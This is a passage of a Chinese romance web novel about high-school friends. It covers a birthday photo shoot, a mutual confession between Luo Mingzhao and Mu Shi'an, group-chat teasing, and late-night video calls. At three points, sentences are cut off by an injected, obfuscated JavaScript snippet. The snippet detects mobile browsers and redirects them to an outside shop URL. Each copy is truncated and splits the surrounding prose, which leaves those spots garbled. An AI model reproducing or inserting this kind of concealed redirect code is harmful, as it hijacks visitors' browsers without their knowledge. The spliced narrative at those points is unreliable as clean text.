骆眀昭缓慢抬起眼,牧时桉抱着胸轻靠在沙发左侧,她没戴眼镜,他是在朝着这个方向看吗? 她咽了下口水,垂在身侧的手无意识地捏紧裙摆,压着内心繁杂思绪。 “那个小姑娘?”女店主忽然轻声开口,看向骆眀昭,“你是叫昭昭吧?” 骆眀昭老实地点点头。 “你坐左边吧,让过生日的小姑娘坐中间,然后苏苏妹妹坐右边。”她笑着瞧骆眀昭。 左边啊—— 骆眀昭朝着那个方向一步步挪过去,像是腿岔不开似的,不过三米的距离让她走了一个世纪,最终在位置前转回身,抚平裙摆后轻轻坐在柔软的沙发上。 这沙发不大,最多也就算是个双人半沙发,坐她们三个纤瘦的小姑娘几乎是严丝合缝,骆眀昭已经隐约感到身边少年气息,沉稳又透着皂香,他俩绝对没靠在一起,却仍让她感觉这距离近。 “来,准备要拍照了哦!” …… 终于结束了这场持久战,薛游累得揉揉肩膀:“你们也真能坐得住,我感觉我身子都僵住了。” 可惜梁若璇和林雨彤还在很有活力地翻看拍出来的这些照片,根本没人听他讲话。先拍立得,又来ccd,再上手机,这一套下来也折腾挺久。 “没吃完的蛋糕给你们打包装起来了,”那位做蛋糕的男店主从后厨走出来,拿出一个蛋糕盒,“带回去吧。” 牧时桉伸手接过:“谢谢。” 梁若璇从椅子上起身,似乎眼睛有些红:“那个今天非常谢谢你们,大家包括店主哥哥姐姐也是,我过了一个非常高兴的十八岁生日!” 满足了她几乎所有的心愿,所有她珍惜的朋友都在,她穿着最漂亮的裙子,用心做了一套完美的造型,在一个挂着彩灯气球梦幻的像是童话里的地方,拍了她喜欢的照片,以及,她的父母不在。没什么比这还要完美的。 “没关系的,祝你生日快乐哦,小姑娘。”女店主说。 各自收拾完东西,跟两位店主挥手告别后,大家就推门离开,站在店门外的马路边,凉风阵阵,月亮就这么挂在天边。 “那我们就各回各家?”梁若璇先开口提议。 今天真的在外面玩的很嗨,午餐就没吃就各自跑了出来,吃完午餐就去玩密室,从密室出来又来到咖啡店过生日拍照,现在已经将近十二点了。 所有人都无外乎地表示同意。 梁若璇和薛游更顺路他俩坐一趟车,骆眀昭、林雨彤和牧时桉一辆车。 两人组的叫的车先来,他俩一前一后坐上出租,很快车子就启动离开。 “有点凉,薛游你把外套借借我呗,”梁若璇靠着椅背开车窗外,几秒后一件外套就从副驾前丢了过来。 薛游声音从副驾悠悠传来:“冷你还要开那么大的窗户。” 梁若璇几乎将车窗拉到底,车厢里满是流通的风声,接过外套,她就这么披在自己身上。 “冷跟我想吹风有关系?”她哼了一声。 薛游无奈笑说:“得得得,梁大小姐你高兴就行。” 她本来今天就很高兴。 车很快就先开到梁若璇家小区门口,她提着一大袋礼物和零碎物件下车,从副驾半开的车窗将外套塞进去。 “你确定不穿着回去?”薛游挑眉,看向她一字领口,皮肤裸露在夜里。 梁若璇垂下眼,坚定着点点头:“嗯,不用。” 她提着大袋子,没有回头地径直朝向自家走去。 几分钟后,梁若璇站在自家门前,滴滴地按下密码,推门进家灯还是亮的。 “这都几点了,你在外面鬼混什么呢,”在她换鞋时,梁父拿着手机从卧室出来,看着她的装扮只剩不满,“你这穿得什么,不伦不类跟妖精似的。” 梁若璇提着袋子,仿佛是没听到,走向自己房间反手又锁住房门。 外面还有声音,她靠着门,松了口气。 - 林雨彤跟骆眀昭一同坐在后排,她总觉得这氛围很怪,却又哪里都说不上来。 她侧目看了身旁姐妹,骆眀昭撑着脑袋仍在发呆。 她拿出手机敲敲打打半天,发出消息,又伸手拍拍骆眀昭示意她看自己手机。 rainy:【你是不是有什么事瞒着我?】 骆眀昭抱着手机愣着一下,很明显吗? 昭昭是我:【有吗?】 rainy:【我是第一天认识你?】 rainy:【你个碎嘴子忽然间发呆不说话,还不让人觉得奇怪吗?】 林雨彤愤愤地按下发送键,骆眀昭就总是这样,遇到什么事都想自己解决。 当她不存在还是眼瞎看不懂啊! 她刚朝着身侧丢过去个眼刀,出租车就靠着路边缓缓停下,林雨彤瞧着窗外熟悉的景象,知道自己该下车了:“我家到了,我先走了。” 她说完就开门下车,关住车门时,另一只手也没闲着,单手飞快地敲击屏幕。 rainy:【给你二十四小时,坦白从宽,不然我直接杀到你家里去。】 rainy:【我知道你家最近没人!你跑不了!】 骆眀昭垂下脑袋,手机屏幕的光浅浅映在她的脸上。 她看得认真,也没发现前排的人正扭过头安静看着她。 她撂下手机,又把它直接塞进包里,歪着脑袋轻呼出口气,头一次感觉脑细胞开始不够用了,不是说人脑只被开发了百分之十吗? 所以究竟,事情是怎么忽然变成这样的? 直到现在,昨日落霞时的场景还像是被调成慢速的感情电影般,那画面太唯美又足以让她震撼,以至于她迟迟无法消化,一切都销声匿迹,就只剩那一句“我喜欢你”在反复倒带重播。 我喜欢你。 你欢喜我? 骆眀昭得承认,很多时候她都很敏锐,对身旁人即刻情绪的变化,刚才场景现状的观察,这几乎是她的被动技能。 她不愿再出现那种事,因为她不会察言观色而造成永远无法挽回的遗憾。 这是她一生的梦魇。 可是她真的没瞧出来任何蛛丝马迹,是她懈怠了吗?因为在牧时桉身旁。 因为自己也同样喜欢他,所以任何亲近和接触都可以被她解读为一种坦坦荡荡的“朋友之间的相处模式”。 骆眀昭垂眸,捏着自己的大腿,很痛。 她吸了一口凉气,这居然是真的。 “我们到了。”副驾的人淡淡开口,声音传进骆眀昭耳朵里酥酥麻麻的。 骆眀昭赶紧扬起头,抓着一旁的帆布包下车,脚刚踏在地上,手里拿着的东西就被一只手顺势接走。 “给我吧。”他说。 夏天,旧家属院前的这条小吃街也重新焕发它的活力,即便已至凌晨,一丝一毫都没有消停下去的意思,热闹地仿佛白日。 骆眀昭终于稳稳地站在地面上,她回过神,仰起头看了他一眼:“谢了。” 牧时桉的目光原本一直落在骆眀昭的侧脸上,在她看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162434|143342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来的片刻后,微微朝着一旁撇开。 他忽然觉得自己挺好笑的。 真的表了白,却反而不敢看她了。 两人就这么并肩走着,他们定位到离旧家属院近的这一侧小吃街口,所以很近,大概也就半分钟就走到了小区门口。 拐进小区,小吃街深夜的喧闹声就小了些,像是被什么隔绝了似的。 “我还以为你会躲着我。”牧时桉在一片沉寂里忽然开口,声线清冷。 他垂着眼帘,骆眀昭停下脚步,扭过脸压根看不情他眼底神情。 骆眀昭其实不知道该回应他什么,只能说一句:“不会啊。” 她必须承认,这份从天而降的惊喜几乎是瞬间点燃了她那份心底的悸动,爆炸、盛开,噼里啪啦直响,几乎她一个人就在心底开了场烟火大会。 这跟在杰瑞面前放了块巨大的芝士有什么区别? “骆眀昭,”牧时桉停了脚步,扭过来看她,声音有些哑,“我没有让你当下就一定要告诉我什么,你有很多时间。” 这片老旧小区里的小小世界早以偃旗息鼓,唯有两个年轻的心脏在晚风里炽热燃烧。 骆眀昭与他对视,她原本是不想的,但他的眸底像是看不到边际的黎明,勾着她随之沉沦。 她感觉喉间干涩,只能笑着挤出来一句:“好啦,我知道的。” “所以你别因此感到任何负担。”他又说。 “好……” 他们一前一后走进楼道,脚步都很轻,老旧的声控灯因而没能察觉他们两人的到来,窄小的楼梯间黑成一片,只能凭着夜视能力和习惯走上台阶。 想做什么就去做吧,骆眀昭。 心底忽然有个声音这样告诉自己,别留遗憾,别后悔。 她忽然记起了那个记录有关她人生重要时刻的迷你日记本,那些灵机一动的想法不要将它放走,那都代表着心底最为真实的想法。 漆黑一片的楼梯间,骆眀昭从书包里摸出钥匙,插进自家房门里。 “牧时桉,”她努力抚平此时此刻的情绪,尽量用听起来轻松愉悦的语气说着,“你可以在这里等一下吗?” 牧时桉扭过头瞧她,楼道窗户只撒进来些很少很可怜的夜光,他只能分清她的背影:“好。” 锁芯转动,骆眀昭开门进去,又再次“嘭”一声关上房门。 忽明忽暗的声控灯亮了,牧时桉没走,手插着兜,垂着眼帘站在门前等待她。 房间里灯还没开,她心脏极速跳动,骆眀昭顾不得换鞋,冲进厨房里把前段时间骆齐用来炖牛肉的红酒拿出来,拔开木塞仰头猛灌一大口。 口腔满是醇厚的红酒味,她再次冲回玄关,没开门,冲着门外说。 “牧时桉,你在吗?” “嗯。” 好差的隔音,但幸好—— 一大口红酒绝不至于让她即刻喝醉,但骆眀昭仍旧感到了醉意。 “我只说一遍所以你听好了,”她扶着墙,额头紧贴着房门,“我也喜欢你。” 楼梯间一片寂静,甚至几秒钟过去仍是安静。 “好,我知道了。”他回。 骆眀昭脸热到发烫,仅仅依靠贴着玄关防盗门来试图降温,她轻声说:“那,晚安。” “……晚安。”他说。 几乎是等待五六分钟以后,门外才终于响起了悠远的脚步声。 骆眀昭将鞋子随便地踩下来,光着脚小跑到自己的房间里,从一摞书的下面翻出来自己的日记本,翻到崭新的一页,摊开。 好久以前,林雨彤曾说过她不写日记,因为即使是这样发自肺腑的文字,她也会在日记里美化,欺骗自己。 那时候骆眀昭才知道,不是只有她一个才会在日记里说谎,甚至还会用最简略模糊的语言描述一件她不愿在日记本里提及的事。 就像是发现自己喜欢牧时桉这事,她从没在日记清清楚楚地写过“喜欢”两字。 她按下手边台灯,从笔筒里抽出一根她最喜欢的紫色水笔,俯下身在纸上写着—— 骆眀昭喜欢牧时桉,很喜欢。 62. 炒饭 绮城从早上便下了一场大雨,即便是午后雨便停,太阳快落山那会儿骆眀昭推开门,楼道里还是一股潮呼呼伴着腥味,迎面扑鼻而来。 “你真来了?”骆眀昭愣着看门外,林雨彤就站在门口,她刚下服表课不久。 认识这么多年,来姐妹家也跟自家别无二致,林雨彤自然地进门,甚至鞋柜里还有双为她准备的拖鞋。 她俯下身拖鞋:“我说到做到,说杀到你家就一定会杀到你家。” 算了,总有一天要坦诚相待的,骆眀昭想得很开。 茶几上还摆着骆眀昭吃剩的炒饭碗,她拿家里剩余食材随便炒了一顿。 “你这碗都没收拾啊?留着给我吃?”林雨彤打趣着她。 骆眀昭瞥她一眼,撅着嘴笑骂:“烦不烦!我刚吃完午餐不久好不好。” “大姐,这都快七点半了。” 骆眀昭顿时没了话,搓搓鼻尖轻咳一声,可不是昨晚翻来覆去到半夜三四点都没能睡着,半梦半醒之际,天都隐隐变亮。 “昨晚失眠到半夜都没睡?”林雨彤抱着抱枕坐下,一副了然的模样。 这么了解她啊? 骆眀昭跟在她身旁盘腿在沙发上,柔软的沙发就这样陷进去一块:“这么了解的话,我会觉得你在监视我哦。” “监视也不会监视你!自恋什么!”林雨彤扭过头,伸手捏了她一把脸颊肉,心满意足地蹂躏完,林雨彤抱着胸说,“说吧,到底瞒着我什么事?” 骆眀昭捂着脸,本想喊痛,提到这事她又没了声。 林雨彤偏头看了她一眼:“这样吧,你要实在说不说出来,告诉我大体跟什么有关,比如学习、家庭、感情……” “感情。”骆眀昭说。 林雨彤愣了一下,半晌转过来看着她,停顿一阵大概是想着如何措辞:“唔,跟牧时桉有关?” 骆眀昭抿着唇,经过一番深思熟虑后缓缓点头,继而开口:“他前天跟我表白了,然后昨天我又跟他表白了。” “等等等等——”林雨彤歪着头表情实在不是很能理解,“他跟你表白完流程不应该是你答应他吗?你这是什么发展。” 骆眀昭不解地看着她:“我为什么觉得你一点都没有震惊的反应。” 怎么感觉哪里怪怪的…… 她眯起眼思索着:“不会是早就知道了吧?” “早就知道了啊,”林雨彤坦荡地看着她,还伸出手无可奈何地戳了下她的脑袋,“只有你们两个笨家伙当局者迷,我们在旁边看得快着急死了。” 骆眀昭一头扎进沙发抱枕里,脸莫名烫:“喂,什么嘛,你们都知道了,那我玩命地装模作样你们不就跟看戏一样吗?” 这次林雨彤没直接当下回答她,抱着膝思绪有些有些发散。 等到骆眀昭反应到此时此刻过分安静时,才听她说:“干什么?来你家做客连杯水都不打算给我喝一口?” “烦死了!”骆眀昭拿抱枕假砸她一下,又踩着拖鞋去冰箱给她拿冷饮,“喏,矿泉水还有葡萄汁,看你喜欢哪个。” 终日念叨着减肥的林雨彤却伸手接过果汁,骆眀昭顿了下,没说什么。 “其实你装得不错,我一点都没看出来,牧时桉那小子实在是太明显了,对你跟对别人完全是不一样的,对你没感觉才有鬼,”林雨彤仰头,灌下去一口果汁,“至于你,我后来真以为你纯拿老牧当哥们。” “所以你们这算,在一起了?”她又问一句。 骆眀昭思考了一会儿:“我不知道,昨天回来以后,我俩还没互相对过想法。” “啧啧,你们两个真的有点东西,”林雨彤扬起下巴,“算了,既然都互表心意,那接下来的就是你们小情侣的事了。” “滚啊!”骆眀昭羞臊地说。 也许是年岁渐长,人心的复杂指数也是成倍递增,从前林雨彤还能信誓旦旦地拍着胸脯说了解骆眀昭,就像喜羊羊了解灰太狼,她即便心里装着什么自己全都能看出来,但尤其今年,感觉愈发得猜不透她。 所以她今天才一定要亲自来找骆眀昭。 “自从咱俩不在一个班后,是不是好久都没这么聊天,”林雨彤手里握着葡萄汁,看着她,“我感觉都不了解你了。” 骆眀昭愣了一下,转而又悠悠地点了下头。 林雨彤得承认自己开始的时候,不是那种非常细腻的小孩,太过于张扬和大大嘞嘞以至于横冲直撞,说话也算不得好听,火辣辣像是在放鞭炮,所以转到新学校后有段时间不太受欢迎。 但骆眀昭却总能穿过那些看透她的真心,发自肺腑地将她当做朋友。 而她少的那部分细腻,就是对身边人的进一步关心和观察这个世界的敏锐。 五年级升六年级的那个暑假结束后,林雨彤想到开学要见到自己的好朋友,兴致都高昂了些,等她来到学校里见到骆眀昭后,第一件事就是拉着她到处疯玩,以及分享她在暑假里的各种所见所闻。 她完全没能察觉到,骆眀昭时不时的出神和目光里的忧伤,那不是个十二岁的小朋友该有的样子。 一个周末,林雨彤邀请她来自己家做客,陪着她搭姐姐林苏没能搭完的乐高积木,她们挤在一起坐在小地毯上,专心致志地拼着。 林苏一直在旁边看着电视,目光时不时地转到她们这边,深思着,等到王乐萍下班后来接走骆眀昭,林苏拉过一旁将注意力都放在玩具上的林雨彤,很认真地说:“你朋友有心事,你应该去关心一下她。” “是吗?没有吧。”林雨彤压根没细想,张口就回。 林苏将她拽到自己面前,十分严肃地说:“我都看到了,你朋友总是心神不宁,只有在你跟她说话的时候,才会朝着你笑,回应你的话。” 林雨彤当时虽然想到些端倪,但小孩子的自尊心还是让她硬撑着不肯承认自己错了:“那她的心事跟我有什么关系啊……” “林雨彤!”林苏发了火,“你不能这么自私!” “还有这种事呢?你怎么从来都没跟我说过。”骆眀昭歪着脑袋靠在沙发靠背上,这是她第一次听到这个故事。 林雨彤也笑了:“干嘛要跟你说这么丢脸的事,我后来跟我姐闹了好久别扭,慢慢才和解的。” 虽然被狠狠教育一顿很丢脸,但林雨彤还是主动开口去关心了自己骆眀昭,因为她们是朋友,她不能那么自私地装作没发现。 在那个放学后的徬晚,学校小操场的单杠旁,骆眀昭第一次痛哭着讲述了那个暑假她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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两姐妹一起追剧就是这样的,看到激动处,手握在一块,小声尖叫。 “喔喔喔,亲上了亲上了!” “刺激!” 剧情最激动人心的部分结束,原本热烈的情绪也随之冷却下来。 “哎,你说他俩伸舌头没?”林雨彤好奇问,胳膊肘碰碰骆眀昭。 骆眀昭撇嘴,把平板往她那边推了推:“你要非好奇,倒回去逐帧检查呗。” 没想到林雨彤真的伸出手指触屏往后倒,甚至还开0.5倍速。 林雨彤脸凑到屏幕前,又扭过头:“你不好奇?” “嘿嘿,我也好奇。”骆眀昭刚才装蒜呢。 经过两位非专业人士地细致分析,她们一直认为,伸了。 “你说接吻是什么感觉?”骆眀昭忽然这么问道,说完她伸出胳膊贴着自己的皮肤碰了碰,“没啥感觉啊。” 林雨彤扭过脸来,不禁笑得很邪恶:“你不是都有准男友了吗?下次尝试尝试。” “你……” 搬起石头砸自己脚的感觉,骆眀昭也算感受了一次。 嘴真贱啊,干嘛提这茬! 63. 小笼包 都是林雨彤! 半夜还拉着她看什么经典吻戏合集,搞的骆眀昭她一晚上做梦,梦里满世界的人都在kiss,看到最后她整个人都疲惫了,扯着嗓子朝着他们喊。 “别亲了!stop!停!” 半梦半醒挣扎地起床,林雨彤还扒在她身上,睡得像个死猪一样。 骆眀昭把她胳膊腿往旁边一边一扒拉,揉揉脸踩着拖鞋离开卧室,不知道是她的梦格外激情有活力,还是半夜空调开太大,总之站在洗手台前,镜子里的骆眀昭满脸疲相,头脑也昏沉。 仰头看表,才六点半,可洗过凉水脸后,精神也被刺激得格外清醒,骆眀昭索性换了件半袖,睡裤懒得换,手里攥着手机钥匙就悄悄关门买早点去。 林雨彤,就说我有多爱你吧,真的是。 夏天亮的早,白昼长,骆眀昭走出小区门时,巷口的早点摊已经热闹许久。 虽然睡眠不足,但也抵挡不住她的好心情,骆眀昭走到摊主面前时,脸上还带笑:“阿姨,我要一碗豆腐脑、一杯豆浆,然后一笼包子带走。” “好嘞。” 她要的都是能很快出餐不需要现下锅的东西,也就一分钟,摊主阿姨就递过她的早点,扫了钱,她就准备扭过头离开这。 骆眀昭提着塑料袋,无意间仰头,却瞧见了从巷口走过来的男生身影。 今天晨起的太阳就格外好,牧时桉从路口处洒落于地面上的晨光里传过来,即便仍是最简单的装束,也仿佛是他本人在发着光,无比耀眼又在一众路人中鹤立鸡群。 她是万万想不到会在此时此刻此地遇上他的,更别提她今天还穿成这样,卡通短袖搭配一条在早市买的碎花束脚裤,时尚先锋。 不错,骆眀昭小姐丢脸的一生。 清晨的风微凉,她愣在原地,不知道是该走还是该怎样,从她自己也表白后,他们大概隔个三十多个小时没有见面。 牧时桉自然也是看到她了,在下出租车的第一眼,就望到被一团蒸汽包裹住的骆眀昭,和世界上的任何人都不一样,他站停在骆眀昭面前,视线定在她身上。 “你这是,早早出门,还是刚回来啊?”骆眀昭扬起头,好奇地问。 牧时桉唇角翘起来的弧度有些明显:“刚回来。” 也不知道是哪里来的默契,两人聊起来的同时,无比自然地相伴着往旧家属院的方向走。 头发没梳,她就随手拿了个发夹固定住似乱非乱,骆眀昭一只手摸到头发上去还想偷偷调整,但也就几秒钟后果断放弃。 她单手还能梳理成啥样,要是牧时桉敢张口说嫌弃,那她还不如直接跟他说拜拜。 哼,她就是这么有种。 直到走进院里,两人都没人再开口说话,这么安静骆眀昭自然也是不习惯,可颅内高速运转,她也没找出第二个话题来。 “出来买早点?”牧时桉忽地开口,掀起眼皮看她。 骆眀昭抿着唇,无可奈何地沉默几秒后,用一种看傻子的眼神扭过脸去看他:“大哥,你要实在不会聊天,真的不用硬聊,没必要。” 却没想牧时桉听完她的话,没任何尴尬,而是坦坦荡荡地朝着她勾起唇角,甚至还传来一声微不可查的笑声。 骆眀昭就这样莫名其妙跟他对视起来,牧时桉估计也没怎么睡好,眼底有些疲惫,但冷峻的眉眼里,比起曾经她所察觉到的淡漠锋芒,似乎多了些柔和,让她想到凛冬过后,积雪在暖阳下融化的那天。 也许是有“喜欢滤镜”加持,又或者是他真情实感在笑真的很帅,总之牧时桉似乎比从前还要让人挪不开眼。 “喂,你故意的!”她愣了一会儿才反应过来,半晌狠狠心才舍得挪开眼,用了点力气掐了自己一把,“啧啧,美色害人呀。” 牧时桉顿了顿,然后有些诧异地挑眉看她,估计没想到有天她也如此坦率。 “怎么了,我原本就是见色起意好不好?”索性什么都承认了,又有什么需要藏着掖着的,骆眀昭是这么想的,况且近朱者赤近墨者黑,某人言传身教。 牧时桉失笑。 “我奶奶昨天半夜挂了急诊,我留下看护,刚刚梁若璇去替班。”他解释道。 骆眀昭不禁眉头皱了起来:“严重吗?” “急性尿道炎,小住几天院就差不多了,”牧时桉垂眼看向她手里的早点,“这是,饿了?” “……” 什么意思,嫌弃她吃得多? 谁都有权力就他饭缩力大王不行! 骆眀昭睨他一眼,往单元走的速度加快了些:“饿了,不行?” 她的步子跟一八八的人相比还是小了点,没两步高挑的身形就追上她。 “想多了,担心你积食。”牧时桉笑笑说,她手里拿的真不少,尤其小笼包,鼓鼓囊囊一大袋。 骆眀昭原本也没真生气,只是转头看他,脸颊有点肉嘟嘟:“昨天林雨彤住我家了,我俩都没吃晚饭,早饭得吃吧。” 牧时桉垂下眼看她,不知不觉,手就伸到她脸颊旁,指尖轻轻戳了戳,果然跟他想象的别无二致,柔软而且似乎有细细的绒毛,手感很棒。 “你——”骆眀昭当下顿时捂住自己的脸,眼睛瞪大像是受了什么天大委屈似的。 哪有随随便便戳女孩子脸的!牧时桉这人真的是。只是约莫几秒后,她就意识到些什么被她忘在脑后的事,他们好像、也、不是、不行。 骆明昭手掌盖住他戳中的位置,原本就那么一点,可现在灼烧感蔓延至全身。 表白这事,牧时桉本想着,至少等到他们都十八岁之后,他很清楚自己大概算不上正人君子,同样拥有蓬勃又不受他所能掌控的少年激情,他们总是离得很近,他也曾想过握住她的手,那么小一只,他微俯下身圈住,感受着彼此的心跳,甚至亲吻,他不是没想过。 可战线拉得越长,那股无法抑制的心跳就愈加失控,可能就是他第一次因为林以征而头疼时,即便是他分明清楚,骆眀昭对这人没有多余的想法,可他还是冲动了,完全跟曾经的自己是两个人。 所以牧时桉一直在等,等一个脱口而出的机会,在骆眀昭最放松的时候,当面告诉她。 但骆眀昭说她也喜欢他时,牧时桉彻底懵了,他第一次大脑完全宕机。 他原是有很多构想的,比如追求她的一系列流程,骆眀昭也许会拒绝,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不得不说,要是牧时桉没感觉到手里多出的手,他就真的以为骆眀昭是在纠结脸是不是显大的问题了。 少女的手悄咪咪地探过来,摸到他的手心时,先是不自觉捏了捏,又缓缓攥成这个小拳头,青涩地塞到他的掌心,也许言下之意就是——快牵手啊!笨蛋!我快没有胡说八道的话了! 牧时桉垂下头,懒洋洋地轻笑着,反手就握住了她的手,皮肤紧贴。 果然跟他想得是一样的,很软。 骆眀昭得到了想要的结果,笑得像是个得逞的小狐狸,掌心相对的地方隐隐的潮,跟平时姐妹之间牵手一点都不一样,不过她觉得感觉超棒。 “……咳,”她拉着牧时桉往楼道去走,即便她知道,不过几十步距离以后他们就要松开,她还是很开心,雀跃到开始无理取闹起来,“我忽然觉得我不要戴口罩,凭什么我戴?那前两年我都戴吐了。” “好,那就我戴。” “切,本来就该你戴,你长得太帅,有点招蜂引蝶。” “你不满意?” “去死!” …… 64. 炸淀粉肠 也不是什么娱乐圈里的偶像艺人,但牧时桉非要在五人群里“官宣”。 在楼道里,手还紧紧牵着,牧时桉垂下眼单手一番敲打,笑意实在压不住。 他手举得高,故意越过骆眀昭头顶,她压根瞧不见他发的是什么,两只手都被占用着,骆眀昭也就只能干着急,不会发了什么很腻歪的话吧,比如“这是我的女人”什么的,骆眀昭得承认她霸总文学看得不少。 呃,汗毛都竖起来了—— 天知道真的发了这种话,那三个人会笑话他俩多久。 “你发什么了?给我看看。”她用头撞了下牧时桉的手,可惜效果甚微。 牧时桉笑了下,点击发送键:“好了,回去看吧。” 两人站在骆眀昭家门口,他松开骆眀昭的手,又没忍住像是撸猫一般在她脑袋顶揉了一把。 真烦,还非回去看。 忽然觉得这一个恋爱谈的,牧时桉这家伙有点得意忘形。 骆眀昭虽说白他一眼,但嘴角还是翘着:“行吧,我回家了。” 她转过身,钥匙几次都没能成功插进锁孔里,她死瞪着自己不受控制的手,死手你开门啊! 牧时桉也没着急走,双手插兜,站在一层台阶上,饶有兴致地盯着她的背影。 骆眀昭知道他人还在身后,被看着更不适应,开了门历经艰难万险,总算是转动锁芯。 她赶紧拉开门,飞快地进屋,玄关防盗门关闭时,恰好林雨彤打着哈欠从卧室走出来,半梦半醒。 “你家门锁是不是该刮点铅笔芯进去啊,半天都开不开,我都准备出来给你开门了,”说完,她仰起头悠悠问,“你跟牧时桉在一起啦?” 骆眀昭太阳穴跳了跳:“你看群了?” “呵呵,你男朋友够有意思,挨个@一遍,明明都在一个群还要单独通知。”林雨彤说。 骆眀昭瞪大了眼,赶紧拿手机察看。 卅:【以后叫侄媳。@nauxl】 卅:【我跟骆眀昭在一起了。@rainy】 卅:【同上@XY】 卅:【@所有人,收到回复。】 “他有毛病啊!”骆眀昭捧着手机笑骂,忽然觉得即便不是那种令人手脚蜷缩的情话,就这么官宣,他俩也能被笑话好久。 rainy:【已阅。】 nauxl:【已阅。】 nauxl:【不是!什么情况!发生什么是我不知道的!朕的皇家情报处呢?】 “你们还真要配合他!”骆眀昭呲牙咧嘴。 林雨彤看到她买的早点,便垂头敲着手机,边朝着饭桌走:“我就说你俩真的是很般配,都相当抽象。” XY:【已阅已阅行了吧!晚回几分钟,不至于打电话亲自通知我吧!知不知道现在才七点十五!】 卅:【知道了就继续睡吧。】 看着群聊的骆眀昭:…… - 按说正是暑假期间,空闲时间又多,两人还楼上楼下住着,两个小情侣应该天天腻在一块才对。 但可能是准高三生的身份在那摆着,也让原本心态平和的王乐萍两口子临时起意开始鸡娃,从上海一回来就给骆眀昭找了个一对一的物理辅导老师。 牧正云被梁父梁母撺掇着,也给牧时桉在梁若璇平时上课的那个补课机构报了几节语文和英语课,牧时桉这两科成绩拖后腿也挺严重的。 别提林雨彤又要忙专业,又要被亲姐盯着文化课,整个暑假生活居然就薛游一个人是自由之身。 牧时桉全天忙着,上午去驾校练车下午去补习,尽管晚上还算空闲,可骆眀昭却还没进家。 骆齐给找的那个物理退休老教师家在城西,她教得很好,但离得远,而且因为人岁数大了需要休息,必须午休,骆眀昭就只能等午后一点多坐一个小时的公交去她家里上课,上到七点,晚饭在附近的爷爷家吃,每次回来都快九点了,她也没了再出门的力气。 既然很难见到几次,于是每天晚上按时按点,骆眀昭会跟牧时桉打视频电话,毕竟要总是时不时溜出门,家里人不免得会怀疑,而且小区里到处都是跟骆家牧家的熟人,万一被瞧见—— 冲完澡,骆眀昭头发还半干就着急地留跑回房间里,反锁上门。 “……怎么样,今天背了几个英语单词啊?”骆眀昭总爱拿这事笑他,刚坐同桌不久她就发现了,牧时桉英语说得还行,语法也不差,就是不爱背单词。 手机屏幕那头的牧时桉靠着床头,对她这种逗弄也无可奈何,索性挑挑眉:“四十多个吧,你要考一下吗?” 怎么忽然摇身一变成问答环节了,骆眀昭双手抱着手机,猛地让她想脑子里还真的一个词都没有,搜肠刮肚半天,她憋出来一个:“hesitate,犹豫不决,知道怎么拼吗?” “h、e、s、i、t、a、t、e?对吗?靠发音拼出来的。”他倒是实诚。 骆眀昭笑着:“对喽!不过熟练度需要加强哦。” “我倒是有个单词,拼得特别熟练。”牧时桉忽然悠悠地说。 “什么?” “hamburger。” 骆眀昭带着入耳式蓝牙耳机,他声音又低沉,讲英文的声音传进她耳道里很痒。 汉堡?这单词怎么了?她脸上带了点疑惑。 ——“我背单词呢,hamburger,发音不太标准读成汉堡哥了,你别误会。” 骆眀昭猛地两人初识那会儿闹的这个乌龙,别提多丢脸。 “牧时桉!”喊他名字时刻意压低声音,右上角小屏幕里还是映出她恼羞成怒的表情,“这种陈芝麻烂谷子的事你还要提一提!你真没意思!” 视频画面拍出来还是有些模糊不清,因而没能拍出说这话时,弯起来的眼眸里,那丝丝玩味。 他笑说:“我觉得这事挺有趣的。” 夏夜无比漫长,尤其是明知他俩只隔一层楼板,却只能可怜巴巴地靠手机视频来联系,骆眀昭就莫名很不爽。 窗外蝉鸣扰人,她侧躺在床上手机拿得近,屏幕里只露出她半只眼睛,骆眀昭往下滑了下屏幕,此时此刻已经凌晨十二点,家里人都熟睡。 “哎,不然咱俩现在下楼呗?”骆眀昭忽然开口说,语气带着期待。 已经有四天没见到牧时桉了,上次还是帮王乐萍下楼买调料,她顺带把他叫下楼陪了自己一会儿,这对刚刚恋爱的人来说是不是少了点。 即便骆眀昭左扭右扭,一个小时的视频电话粥变换了无数种姿势,牧时桉始终就是那一种,靠坐着床头摄像头对着他的正脸,大概是知道骆眀昭喜欢他这张脸而故意为之的吧。 心机相当深重。 他顿了一下,面上神色如常:“现在?” “对啊,”骆眀昭不愿意直接说想他,忸忸怩怩扯些别的,“嗯……就是想吃宵夜了嘛,去吃楼下炸串吧,你陪着我一块去吃,想吃炸淀粉肠,或者炸馒头片也行。” 骆眀昭原本以为他会答应的,因为自从谈恋爱这小半月以来,她发现牧时桉什么都会答应她,比如很老实地每天拍给她今天吃什么,每天出门上课前,就会在楼下等着骆眀昭推开窗户看自己一眼,挥手说句再见后再离开,等等还有很多。 “很晚了,先睡吧。”牧时桉却把目光瞥向一边,轻声说。 “……” 这时候显得他多么爱好健康生活,平时跟薛游半夜游戏的人又不是他了呗。 骆眀昭觉得自己打从跟牧时桉在一起后,也有些矫情了点,很像王乐萍女士平日在家那样,不知道是家族遗传还是恋爱人士的通病。 